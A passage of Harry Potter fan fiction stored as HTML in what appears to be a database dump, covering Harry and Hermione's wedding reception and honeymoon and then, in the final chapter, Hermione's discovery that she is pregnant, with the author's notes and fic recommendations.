up Oliver?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The DJ&#8217;s about to play your\nsong, I thought you&#8217;d like to know.&#8221; Oliver said, winking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks!&#8221; Harry grinned and\nhurried back to the main table. &#8220;Mione, it&#8217;s time for our dance.&#8221; He said, and\nHermione smiled as Harry took her hand and led her onto the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled her close to him\nand clasped one of her hands in his, the other arm went around her waist and\nshe put her other hand on his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText2">Moon so bright, night so fine<br>\n&nbsp;Keep your heart here with mine<br>\n&nbsp;Life&#8217;s a dream we are dreaming <br>\n&nbsp;Race the moon, catch the wind<br>\n&nbsp;Ride the night to the end<br>\n&nbsp;Seize the day, stand up for the light <br>\n&nbsp;I want to spend my lifetime loving you<br>\n&nbsp;If that is all in life I ever do <br>\n&nbsp;Heroes rise, heroes fall<br>\n&nbsp;Rise again, win it all<br>\n&nbsp;In your heart, can\'t you feel the glory <br>\n&nbsp;Through our joy, through our pain<br>\n&nbsp;We can move worlds again<br>\n&nbsp;Take my hand, dance with me <br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoBodyText2">Ron watched his two best\nfriends dance around the room. He was genuinely happy for the two of them,\nbeing able to find each other again after so long apart. He saw the loving way\nHarry held Hermione; he could tell that to them, they were the only people in\nthe room right now.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;What are you thinking\nabout?&#8221; Lavender asked, sliding up to him and taking his hand in hers.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Just about how happy I\nam that Harry and Hermione are together again.&#8221; Ron said, looking down at his\nwife. &#8220;They&#8217;re so lucky.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yes they are.&#8221; Lavender\nsighed.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;m lucky too.&#8221; Ron\nsaid. &#8220;I&#8217;ve had you every day since we got married, I don&#8217;t know what I&#8217;d do if\nanything happened to you.&#8221;&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Lavender smiled up at him\nand he kissed her sweetly, hugging her.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">I want to spend my lifetime loving you<br>\n&nbsp;If that is all in life I ever do<br>\n&nbsp;I will want nothing else to see me through<br>\n&nbsp;If I can spend my lifetime loving you <br>\n&nbsp;Though we know we will never come again<br>\n&nbsp;Where there is love, life begins<br>\n&nbsp;Over and over again <br>\n&nbsp;Save the night, save the day<br>\n&nbsp;Save the love, come what may<br>\n&nbsp;Love is worth everything we pay <br>\n&nbsp;I want to spend my lifetime loving you<br>\n&nbsp;If that is all in life I ever do<br>\n&nbsp;I want to spend my lifetime loving you<br>\n&nbsp;If that is all in life I ever do<br>\n&nbsp;I will want nothing else to see me through<br>\nIf I can spend my lifetime loving you</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Caitlyn watched her\nparents converse as the song came to an end and everyone clapped. She wasn&#8217;t\nsure if it was the silly eleven year old in her or not, but she was finding\nthat she liked all the romance that was going on. A cough at her elbow made her\nturn around.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Wanna dance?&#8221; Blue said\ngruffly, grinning at her.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Okay.&#8221; She agreed as a\nnew song came on, and the two children laughed as Blue swung Caitlyn around on\nthe floor.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione nudged Harry as\nthey went over where Ron and Lavender were standing. &#8220;Would you guys look at\nthat?&#8221; she smiled, seeing the two kids.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh my.&#8221; Lavender said.\n&#8220;How cute is that?&#8221; Ron grinned at Harry.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Do we need to plan another\nwedding soon, hmm?&#8221; he asked.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh, don&#8217;t make me think\nabout that.&#8221; Harry said. The last thing he wanted on his mind was Caitlyn&#8217;s\nwedding!</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh, don&#8217;t make him fret,\nRon.&#8221; Hermione said, clasping Harry&#8217;s hand in hers. &#8220;Caitlyn is her daddy&#8217;s\ngirl.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Any guy who even wants\nto try and date her&#8230;&#8221; Harry joked. &#8220;He&#8217;ll have to pass my test first.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh come on Harry, enough\nof that!&#8221; Hermione said, kissing him. &#8220;It&#8217;s time for pictures anyway.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Lavender went to get the\nkids and Hermione called Grace and Justin over. They all went into a separate\nroom, where various photos were taken of the wedding party, many ones of Harry\nand Hermione, and they insisted on having a photo of the three of them; Harry,\nHermione, and Caitlyn. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">That took about an hour,\nand Harry and Hermione were left in the room as everyone else went out.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Another moment with\nyou.&#8221; Harry grinned, grabbing her around the waist and pulling her close. &#8220;Have\nI told you how stunning you look today?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yes, you have.&#8221; Hermione\ngiggled a little. &#8220;But I love hearing you say it again.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;d rather show you&#8230;&#8221;\nHarry lowered his mouth to hers and kissed her, deepening it immediately with\nhis tongue. She responded, not caring if she looked mussed when they went back\ninto the room. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Harry&#8230;&#8221; she pulled her\nmouth away. &#8220;Much as I love kissing you, and I do, we can&#8217;t stay in here\nforever.&#8221; </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Why?&#8221; Harry asked, not\nletting go of her waist.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Because then we&#8217;d miss\nour honeymoon?&#8221; Hermione joked. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">They went back in the\nmain room, where Hermione had a dance with Ron and then Oliver; Harry danced\nwith Lavender and Grace.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Time to cut the cake!&#8221;\nRon announced loudly, and everyone returned to their tables, except for Harry\nand Hermione, who stood in the center of the room where a large cake had just appeared.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">It was five tiered,\nHermione had requested chocolate, of course, so the double fudge had been baked\ninto it, and it had the typical white icing of a wedding cake.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;No smashing.&#8221; Hermione\nsaid, when Harry cut off a large slice and held it out to her.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">He held it out teasingly\nlike he was going to do just that, but then fed it to her nicely, not letting\nany fall on her dress.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">On Hermione&#8217;s turn,\nhowever, she stuffed it into Harry&#8217;s mouth; he could barely swallow it he was\nlaughing so hard.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh, you&#8217;re going to pay\nfor that later,&#8221; Harry said, his eyes twinkling. Hermione grinned and kissed\nhim, getting a bit of the icing on her face as well. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh, I can&#8217;t wait.&#8221; She\nwhispered in his ear. They went back to the table to enjoy their cake with\neveryone else. Grace had different ideas, however. She raised her spoon and\nbegan to tap her glass, Justin caught on and did the same, and soon the entire\nroom was doing that. Harry and Hermione grinned at each other, and leaned in to\nkiss.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry could still taste\ntheir cake on Hermione&#8217;s lips as he kissed her. She had a bit of icing stuck to\nher lower lip, and he ran his tongue gently across it and she opened her mouth\nto his. He pressed a little harder against her, and she put her hand on the\nback of his neck to keep him there when he tried to pull back.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Mione!&#8221; he said around\nher lips. Hermione finally pulled back and everyone in the room laughed at how\nlong they kissed.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Honestly you two!&#8221; Ginny\nsnickered. The music started up again as people ate cake and danced. Harry and\nHermione caught glimpses of Caitlyn dancing with Blue again as well as a few\nother boys her age.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh, what a night.&#8221;\nHermione said later, as the crowd was finally dissipating. &#8220;My feet are\nabsolutely killing me.&#8221; </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Awww.&#8221; Harry said. &#8220;Are\nyou hinting that you want a foot massage later?&#8221; he grinned, sitting down next\nto her.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Maybe.&#8221; Hermione smiled\nback. &#8220;When are we leaving for Eze?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Whenever you are ready.&#8221;\nHarry said. &#8220;We&#8217;ll just have to let Ron know when we&#8217;re leaving and we have to\nsay goodbye to Caty.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;m ready.&#8221; Hermione\nsaid, getting up. Harry stood up as well and pulled her into his arms. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Okay.&#8221; His voice was\nmuffled. She pressed her face to his shoulder, and they swayed for a moment\ntogether to soundless music.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Hermione, I really can&#8217;t\nwait till we&#8217;re alone tonight.&#8221; Harry said quietly.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Me either.&#8221; Hermione\nsaid, raising herself up and brushing his lips softly. They hurried across the\nroom to where Ron was standing.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Ron, we&#8217;re going to take\noff.&#8221; Harry said. Ron grinned at them.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;You two behave\nyourselves.&#8221; He teased.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yeah right.&#8221; Harry\nscoffed. &#8220;Where&#8217;s Caty?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Over there.&#8221; Lavender\nsaid, coming up to them. She pointed in a corner where Caitlyn and Blue were\neating the last pieces of cake with their friends.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Caty Cat.&#8221; Harry said,\ncoming up to her. &#8220;Your mum and I are leaving.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Caitlyn jumped out of her\nseat and hugged first her father, then her mother. &#8220;Have fun, and don&#8217;t forget\nto buy me something!&#8221; she grinned mischievously.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry and Hermione laughed\nand he turned back to Ron. &#8220;You don&#8217;t mind keeping her and then getting her\nback to Hogwarts?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Of course not.&#8221; Ron\nsaid. &#8220;You two have a good time, and owl us if you need anything&#8230;. well, I\ndoubt you will&#8230;&#8221; he and Lavender waved as they watched the bride and groom\napparate away.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">A few moments later,\nHarry and Hermione appeared in their room in Eze. Their bags had already been\nsent in earlier that day. Most people didn&#8217;t know that Eze was not only a\nmedieval village but a wizarding one as well, so apparating into hotels there\nwasn&#8217;t an uncommon occurrence.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Finally.&#8221; Harry said,\nthe dim lighting of the room making his eyes glow with desire. He moved forward\nand caught Hermione up in his arms, gently placing her on the bed. &#8220;I love you,\nHermione.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I love you too Harry.&#8221;\nShe was able to say before his mouth was on hers. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">They did not leave the\nroom until two days later.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">(A/N: Wow don&#8217;t you just\nlove weddings? *sigh* anyways, one more chapter after this, then RTM will be\nover :(&nbsp; </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">To see a pic of H/H on\nthis happy day, go to <i>www.geocities.com/heavenluvz/hhwedding.jpg</i></p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">If it doesn&#8217;t let you on\nright away check back later ;)</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">If anyone likes fics\nabout 98 &#186; (band) please check out a fic by princesa called Meeting 98 &#186;. Very\ncute!</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Also, please make sure\nand check out Mas Tequila by God of Fire, esp the second chapter ;) hehehehee</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">HarryNZ has a fab group\nwhere he updates all his fics, you can reach that at</p>\n\n<p class="MsoBodyText2">http://groups.yahoo.com/group/harrynzfanfics/</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">And check out the stories\nof one Ryoko Blue, they are utterly fantastic! Esp her series that starts with\nSoul Scepter and is now continuing on with Amulet of Torna.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Happy reading, and see\nyou next chapter! Don&#8217;t forget to R/R NOT flame! :D )</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 15, '\n\n\n\n\n\n\n\n<p class="MsoBodyText2">Chapter 15</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">A/N: Well here it is\n*sob* the last chapter of RTM&#8230;.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Thanks to everyone who\nread and reviewed each chapter, you stuck with it through the long haul and\nit&#8217;s truly appreciated!</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Well stay tuned for the\nsequel coming up in a few weeks, it&#8217;s only 4 chapters long, and like I said\nbefore, mainly focuses on Caty and Blue, but there will be lots of H/H moments\nin there as well ;)</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Anywho, here&#8217;s the\nchapter, hope you guys all enjoy!!</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione turned on her\nside, and felt it again. That stirring that came from deep inside her. She\ntried to ignore it, but it was insistent. The urge simply would not go away\nuntil it was satisfied, and there was only one way to do it.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Harry&#8230;&#8221; she moaned.\n&#8220;Harry I need&#8230;&#8221; she bolted off the bed and ran to the bathroom, just making it\nto the toilet. She held her stomach as she retched, then sat down and put her\nface to the cool tile on the floor.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Mione what&#8217;s wrong?&#8221;\nHarry asked from the doorway. He spied her lying on the floor and rushed in.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">She shook her head\nweakly. &#8220;This is the third night this week I&#8217;ve woken up ill, and that doesn&#8217;t\ncount the times during the day, and at work that I&#8217;ve had to run to the\nbathroom.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry stroked her hair\nand gently pulled her up from the floor. &#8220;Here.&#8221; He said, getting her some\nwater. She carefully sipped it slowly.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Thanks.&#8221; She mumbled,\nleaning on him. She was feeling horribly dizzy as well as nauseous again.\n&#8220;Harry&#8230;I have to&#8230;&#8221; she flew back and started vomiting again.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Hermione&#8230;&#8221; Harry said as\nshe was finally able to stand back up. &#8220;I want you to go to the doctor\ntomorrow&#8230;this can&#8217;t be good that you&#8217;re getting sick all the time.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;m sure I&#8217;ll be fine in\na few days.&#8221; Hermione said, putting both hands on the counter to hold herself\nup. &#8220;It&#8217;s just a touch of the flu I&#8217;m sure, and I&#8217;ve just been so tired since the\nwedding&#8230;&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Hermione that was two\nand a half weeks ago already&#8230;&#8221; Harry argued, leaning up against the doorframe.\n&#8220;You have had plenty of time to recover from all the planning and excitement.&#8221;\nHe crossed to where she was standing and gripped her gently but firmly on the\nshoulders. &#8220;I don&#8217;t want anything to happen to you, if there&#8217;s something wrong,\nwe&#8217;ll get it treated right away&#8230;&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;All right.&#8221; Hermione\nrelented, letting him support her on the way back to the bedroom. &#8220;I&#8217;ll get a\nhold of Grace tomorrow and go in.&#8221; Grace had recently been appointed a\nmedi-wizard position, something she had been working at for a number of years.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Good.&#8221; Harry said,\nhelping her settle back into the bed. Hermione fell asleep quickly, finally\nable to sleep through the rest of the night.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;ve just felt so horrid\nlately, and after last night, Harry made me promise to visit the doctor.&#8221;\nHermione said to Grace as she fussed around with a few different potions and\ncharms.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Uh huh&#8230;&#8221; Grace mumbled.\n&#8220;So you say for about the past week you&#8217;ve been feeling sick almost all the\ntime, you&#8217;re tired&#8230;&#8221; she looked up from a piece of parchment. &#8220;How often do you\nfind yourself having to use the bathroom?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione bit her lip,\nthinking hard for a moment. &#8220;Lately, a lot&#8230;. especially in the morning.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Um hmm&#8230;.&#8221; Grace said.\nShe looked up again and a half smile quirked at her lips. &#8220;Have you skipped a\nperiod at all?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione&#8217;s head shot up\nand she stared at Grace. &#8220;Great Wizards&#8230;&#8221; her face paled. &#8220;Yes I have&#8230;&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Grace set aside the\nparchment and picked up her wand. &#8220;There&#8217;s one test I can do, to determine\nwhether or not you are&#8230;&#8221; Hermione nodded nervously, gripping her skirt tightly\nbetween her fingers.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Okay, if it glows red,\nit means yes, and purple means no.&#8221; Grace said, pointing it at Hermione. She\nmurmured the spell under her breath, and both women watched in stunned silence\nas the tip of the wand emitted a bright red glow.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh my goodness&#8230;&#8221;\nHermione uttered as a long snakelike strand shot out of the wand. Grace picked\nit up and measured it.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;You&#8217;re two and a half\nmonths along!&#8221; Grace grinned and swooped down on Hermione, hugging her tightly.\n&#8220;I can&#8217;t believe it, you&#8217;re pregnant!&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">At first, Hermione was too\ndumbfounded to do anything. &#8220;I&#8217;m pregnant.&#8221; She repeated hoarsely. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yes you are!&#8221; Grace was\nalmost shrieking. She took a step back and regarded her friend. &#8220;Are you okay&#8230;.\nI&#8217;m sorry, here I am screaming like an idiot and you&#8217;re in shock&#8230;&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;m pregnant.&#8221; Hermione\nrepeated again, this time not as stunned. The realization finally hit her. She\nwas pregnant! A large smile crossed her face. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh Great Wizards!&#8221; she\nfinally reacted physically by grabbing Grace in a large bear hug. &#8220;I&#8217;m going to\nhave a baby!&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;How is Harry going to\ntake this?&#8221; Grace asked as they finally calmed down.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I imagine he&#8217;ll be quite\nexcited&#8230;&#8221; Hermione said, resting a hand on her stomach. &#8220;He was like that when\nwe found out I was pregnant with Caitlyn.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;That&#8217;s so cute.&#8221; Grace said.\n&#8220;Listen, I have to go I have another appointment, but let me know how\neverything goes, okay?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I will.&#8221; Hermione hugged\nher again. &#8220;Thanks for everything Grace.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Sure.&#8221; Grace squeezed\nher arm and left.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione went back to the\nflat and made herself some tea. She was still in shock over the news, but\nfilled with excitement at the same time. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I can&#8217;t wait till Harry\ngets home.&#8221; She said aloud, wishing the hours to go by faster. She pressed her\nright hand to her belly and tried to see if she felt anything. Right now, her\nstomach just felt hard, not much of a sign of life inside yet. She felt full to\nbursting with her news right now, however, and needed to tell somebody, in\nfact, she didn&#8217;t want to wait for Harry to come home from work. Hermione decided\nto make a little trip to the Ministry.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">*******</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">She pushed open the glass\ndoors to the Ministry, nodding at the official sitting to the right of the\ndoor. Hermione hummed softly under her breath as she came to Harry&#8217;s office and\nknocked.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Come in!&#8221; she heard a\ndistracted voice say. Pushing open the door, she was amused to see Harry\narguing with the head of Oliver Wood in the fire. &#8220;Oliver I know I promised you\na favor but that&#8217;s ridiculous!&#8221; Harry shouted. &#8220;I&#8217;m not modeling Quidditch\noutfits at the World Cup!&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Potter you promised!&#8221;\nOliver&#8217;s Scottish accent was thickened by his words. &#8220;I need someone to show\noff the new uniforms and with your fame, it&#8217;ll draw tons of crowds.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;But Oliver&#8212;&#8220; Harry\nstarted to say. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;You promised!&#8221; Oliver said.\n&#8220;I&#8217;ll see you at the pitch this Saturday, be there at nine am sharp.&#8221; The fire\nwent out with a loud pop and Harry yelled in frustration.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Bad day?&#8221; Hermione asked\ninnocently, moving into the office. Harry slumped down into his chair. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I can&#8217;t believe this,\nOliver wore a kilt for what, one minute for me and I have to go MODEL Quidditch\nuniforms for a whole game&#8230;.&#8221; He ran his hands through his hair and it stuck out\nin every direction.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione smiled and came\nalong side him, smoothing it back down. &#8220;I bet you&#8217;ll be fine.&#8221; She said,\ninwardly getting quite a kick at the thought of Harry parading around the\nstadium in Quidditch gear. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yeah yeah&#8230;&#8221; Harry looked\nup at her and finally smiled. &#8220;What brings you over here today?&#8221; He brought her\ndown to sit on his lap and kissed her. &#8220;Not that I mind a visit from you&#8230;.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I went to see Grace\ntoday&#8230;&#8221; Hermione began. &#8220;She was worried at first when I told her how sick I&#8217;ve\nbeen getting, but then gave me some interesting news when we did some tests.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;What&#8217;s that?&#8221; Harry\nasked, as his eyes took on a concerned look. &#8220;You aren&#8217;t like, seriously ill\nare you?&#8221; his voice held a slight note of panic.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;No, no&#8230;nothing like\nthat.&#8221; Hermione reassured him. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Okay&#8230;sorry, just got a\nlittle freaked out there.&#8221; He said, holding her a little tighter.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione took a deep\nbreath. &#8220;I&#8217;m pregnant, Harry.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry stared at her,\nflabbergasted. &#8220;You&#8230;you&#8217;re pregnant.&#8221; He repeated.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yes, I&#8217;m pregnant. I&#8217;m\nhaving our child.&#8221; Hermione said calmly. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry stared at her for a\nmoment. &#8220;You&#8217;re having our child.&#8221; He was beginning to sound like a robot.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yes, Harry.&#8221; Hermione\nsaid patiently. &#8220;I&#8217;m having a ba&#8212;&#8220; she was cut off by Harry&#8217;s loud cheer.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;WOOOOOOO!&#8221; Harry shouted\nloudly, jumping up from the chair while still keeping her in his arms. Hermione\nlaughed gaily as he spun her around.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Two and a half months.&#8221;\nShe said as he set her 